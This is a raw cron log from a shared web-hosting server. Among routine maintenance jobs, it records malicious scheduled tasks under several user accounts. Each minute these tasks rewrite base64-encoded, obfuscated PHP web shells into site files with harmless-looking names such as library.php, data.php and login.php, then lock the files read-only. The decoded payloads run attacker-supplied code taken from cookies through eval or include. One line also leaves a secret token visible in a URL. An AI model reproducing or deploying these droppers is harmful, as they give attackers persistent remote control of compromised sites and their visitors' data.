Jun  7 09:20:02 medusa CROND[24564]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:20:02 medusa CROND[24561]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 09:20:02 medusa CROND[24557]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Jun  7 09:20:02 medusa CROND[24570]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 09:20:02 medusa CROND[24571]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 09:20:02 medusa CROND[24576]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:20:02 medusa CROND[24577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:20:02 medusa CROND[24578]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 09:20:02 medusa CROND[24572]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 09:20:02 medusa CROND[24582]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:20:02 medusa CROND[24579]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:20:02 medusa CROND[24580]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 09:21:02 medusa CROND[26451]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 09:21:02 medusa CROND[26455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:21:02 medusa CROND[26459]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:21:02 medusa CROND[26460]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:21:02 medusa CROND[26461]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 09:21:02 medusa CROND[26462]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:21:02 medusa CROND[26463]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:21:02 medusa CROND[26465]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:21:02 medusa CROND[26466]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:21:02 medusa CROND[26467]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:21:02 medusa CROND[26469]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:21:02 medusa CROND[26472]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:21:02 medusa CROND[26473]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:21:02 medusa CROND[26475]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 09:22:01 medusa CROND[27993]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 09:22:01 medusa CROND[27994]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:22:01 medusa CROND[28004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:22:01 medusa CROND[28003]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 09:22:01 medusa CROND[28005]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 09:22:01 medusa CROND[28006]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:22:01 medusa CROND[28007]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:22:01 medusa CROND[28009]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:22:01 medusa CROND[28011]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:22:01 medusa CROND[28010]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:22:01 medusa CROND[28013]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:22:01 medusa CROND[28016]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
